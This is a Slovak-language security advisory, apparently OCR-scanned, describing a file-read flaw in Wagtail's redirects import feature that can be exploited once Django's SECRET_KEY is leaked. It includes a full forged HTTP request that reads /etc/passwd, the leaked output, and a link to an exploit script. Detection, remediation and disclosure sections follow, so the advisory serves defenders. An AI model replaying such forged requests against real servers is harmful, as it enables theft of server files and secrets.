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Uvod

V ekosystéme Django je SECRET_KEY sama o sebe velmi citlivd hodnota. Jej unik zvy€ajne umoinuje
utoc¢nikom falSovat tokeny, resetovat hesla alebo kradnut relacie v urcitych konfiguraciach. Pri skiimani
modulu redirects aplikdcie Wagtail vSak nas kolega objavil pripad, ked by unik hodnoty
SECRET_KEY mohol eskalovat nad ramec zneuZitia pouZivatela/relacie a umoZnit €itanie siborov na
strane servera. Python skript na zneuZitie tejto zranitelnosti je k dispozicii na stranke nasho kolegu
[github](https://github.com/Habuon/wagtail-Ifi).

Prehl'ad zranitel'nosti

Subor: wagtail/contrib/redirects/tmp_storages.py
Riadok: 72
return os.path.join(tempfile.gettempdir(), self.name)

Hodnota self.name pochddza z podpisaného parametra v poZiadavke. Mechanizmus podpisovania
sice zabezpeduje integritu, nesanitizuje vSak obsah. Ak Uto¢nik dokaze sfalSovat platné podpisy (¢o je
mozné, ak vlastni Django SECRET_KEY), mdZe do poziadavky vloZit nazvy suborov, ako napriklad
/etc/passwd. K&d vloZi tuto neoverenu hodnotu do cesty siborového systému, ¢im ucinne umozni
prechadzanie mimo zamyslaného docasného adresara.

Podmienky zneuZitia
Pre zneutitie tejto chyby musi Utoénik:

1. Poznat Django SECRET_KEY - uz v tomto bode ide o zdvazné narusenie.
2. Vlastnit platné konto pre Wagtail s opravnenim pridavat presmerovania.
3. Vytvorit $kodlivy podpisany nazov siiboru smerujtce na citlivé subory.

Ak su tieto podmienky splnené, Utocnik mdzZe zo servera exfiltrovat [ubovolné sibory. Priklad
poZiadavky obsahujucej platnu relaciu pre vysoko privilegovaného pouzivatela:

Poziadavka HTTP:

POST /admin/redirects/import/process/ HTTP/1.1

Host: localhost:8000

Cookie: csrftoken=JnnVucJbHd8qEalLPg1SgrdjakrqxBleO;
sessionid=1y21vfn0gbthvfp06c2sooiu0symurie

Content-Length: 492

Content-Type: multipart/form-data; boundary=58070cece7e28a1b1230238d327e961c
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--58070cece7e28a1b1230238d327e961c
Content-Disposition: form-data; name="csrfmiddlewaretoken"

f1Eii97cre31xBWPVvNBkysKEXJLOIEAKOeR3CbGdYh1h1BxuBEjgPmTE701nJdEo
--58070cece7e28a1b1230238d327e961c
Content-Disposition: form-data; name="import_file_name"

/etc/passwd:EOQyyillHOt4QL209IuRxanXgAstgxxxCA3NCAr4JPn8
--58070cece7e28a1b1230238d327e961c
Content-Disposition: form-data; name="input_format"

0:DmTORMY6RALC70Vt7wiYA32_Cl4z5UK1pBBI_ybYFGE
--58070cece7e28a1b1230238d327e961c--

Odpoved na tuto poziadavku obsahuje obsah poZzadovaného siboru /etc/passwd.
Odpoved HTTP:

HTTP/1.1 200 OK
Server: WSGIServer/0.2 CPython/3.13.3
Content-Type: text/html; charset=utf-8

Content-Length: 38988

<html lang="en-us" dir="Itr" class="w-theme-system w-density-default w-contrast-system">

<form action="/admin/redirects/import/process/" method="POST" class="nice-padding"
novalidate enctype="multipart/form-data">

<h2>Preview</h2>
<table class="listing listing-with-x-scroll">
<thead>
<tr><td>root:x:0:0:root:/root:/usr/bin/zsh</td></tr>
</thead>
<tbody>
<tr><td>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</td></tr>

<tr><td>redis:x:129:131::/var/lib/redis:/usr/sbin/nologin</td></tr>
<tr><td>kali:x:1000:1000::/home/kali:/usr/bin/zsh</td></tr>
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</tbody>
</table>
</form>

</html>
Bezpecnostny dopad

Hoci kompromitdcia SECRET_KEY je sama o sebe katastrofdlna, typické Utoky zostavaju na drovni
aplikacie/pouzivatela (falSovanie relacie, podpisovanie tokenov). Tato zranitelnost zvysuje dopad jej
rozsirenim na Uroven servera, ¢im umoZznuje pristup k:

e Suborom prostredia (.env)

e Zdrojovému kodu

e  Sukromnym klicom (SSH, prihlasovacie udaje API)
e Konfiguraénym suborom

Tym sa unik kryptografického kltc¢a zmeni na problém lokalneho zaclenenia stiboru (LFI).

Prikladovy scenar - zverejneny .git a uniknuty SECRET_KEY

Redlny a beZny spbsob, ako mdze uniknit SECRET_KEY, je ndhodny ,,commit” kédu verejne dostupny
na serveri, obsahujuci konfiguraéné subory, adresdre .env a .git, alebo exponovana ziloha.
Predstavte si, Ze vyvojar omylom ,pushne” subor settings.py obsahujlici SECRET KEY. Uto¢nik,
ktory si naklonuje repozitar alebo ziska vypublikované Udaje v adresari .git, mdze lahko ziskat stubor
SECRET_KEY a dalsie citlivé konfigura¢né hodnoty.

V tejto situacii sa zranitelnost, o ktorej sme hovorili, podstatne zhorSuje. S uniknutym kliéom
SECRET_KEY mozZe uUtocnik, ktory tieZz ovlada (alebo kompromituje) ucet Wagtail s dostatonymi
opravneniami, sfalSovat podpisany nazov siboru a pouzit koncovy bod importu na ¢itanie fubovolnych
suborov zo servera. Tato moznost ¢itania siborov moze Gtocnikovi umoznit ziskat dalsie tajomstva -
napriklad subory .env, databazové poverenia, klti¢e SSH alebo tokeny API - ¢o mo6zZe nasledne umoznit
Uplnd kompromitdciu servera. Stru¢ne povedané: pociatocny unik repozitara, ktory odhali
SECRET_KEY, mdZe v kombindcii s nekontrolovanym pouzivanim nazvov stborov prerdst do tplného
narusenia.

Tipy pre detekciu

e Preskenujte histériu ,commitov”, ¢i neexistuju také, ktoré obsahuju settings.py, .env alebo iny
subor obsahujlci SECRET_KEY.

e Na serveri hladajte neocakavané pristupy k administratorskym koncovym bodom (koncové
body importu, presmerovanie importu) a neobvyklé Citanie suborov webovym procesom.
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e Skontrolujte v logoch poziadavky na koncovy bod importu, ktoré obsahuji neobvyklé retazce
nazvov stborov obsahujuice ../, absolutne cesty alebo dlhé segmenty ciest.

Okamzita ndprava pri zisteni tniku

1. Bezodkladne zmefite SECRET KEY a pocitajte s vedlajSimi Gucinkami (zneplatnite podpisané
cookies/tokeny).

2. Zmeinte vSetky ostatné tajomstvd, ktoré sa nachadzaju v repozitdri alebo na serveri (hesla
k databaze, API kluce, SSH kltce).

3. Odstrante vypublikované subory .git resp. akékolvek citlivé sibory z verejného pristupu a
prepiste histériu, ak je to mozné (napr. git filter-repo alebo bfg). Upozorriujeme, Ze samotné
odstranenie suboru z repozitara ho z histdrie neodstrani.

4. Vynutte zmenu hesiel pre administratorskych pouzivatelov, pokial mate podozrenie na
falSovanie reldcii alebo tokenov.

5. Preverte amonitorujte podozrivd aktivitu administratorov anové nezname kluce
zaznamenané v logoch a konfigura¢nych suboroch.

Hodnotenie CVSS

Zranitelnost sme vyhodnotili podla metodiky CVSS v3.1 nasledovne:
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N

Base Score: 5.8 (Medium)

Hoci utok vyZaduje vysoké opravnenia a predchadzajucu kompromitaciu kli¢a SECRET KEY, ma
vysoky dopad na dévernost kvoli odhaleniu suborov servera.
Sirsia lekcia

Tento pripad nie je o tom, Ze by bol systém Wagtail vstandardne doddvanom nastaveni
nezabezpedeny. Je o tom, Ze dévera v kryptografické podpisy nesmie nahradit zakladné overovanie
vstupov. Aj ked' su parametre podpisané, ich obsah stale potrebuje sanitizaciu. DoleZita je viacvrstvova
obrana (Defense in depth).

Casova linia

e 2025-09: identifikovana chyba a nahlasend Wagtail Security.
e 2025-09: bezpecnostny tim vyhodnotil nédlez, Ze sa nejednd o zranitelhost (vzhladom na to, Ze
Unik SECRET KEY je sam o sebe katastroficky), no suhlasil, Ze kéd je potrebné zabezpetit.
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Zaver

Hoci si tento problém vyZaduje splnenie viacerych predpokladov a nemozno ho povazovat za formalnu
zranitelnost, poukazuje na malo viditelnu, ale doélezZiti bezpeénostnu lekciu. Vyvojari by mali overovat

a obmedzovat nazvy siborov bez ohladu na podpisovanie a povaZovat klti¢ SECRET_KEY za kriticku
sucast bezpecnostnej politiky aplikacie.
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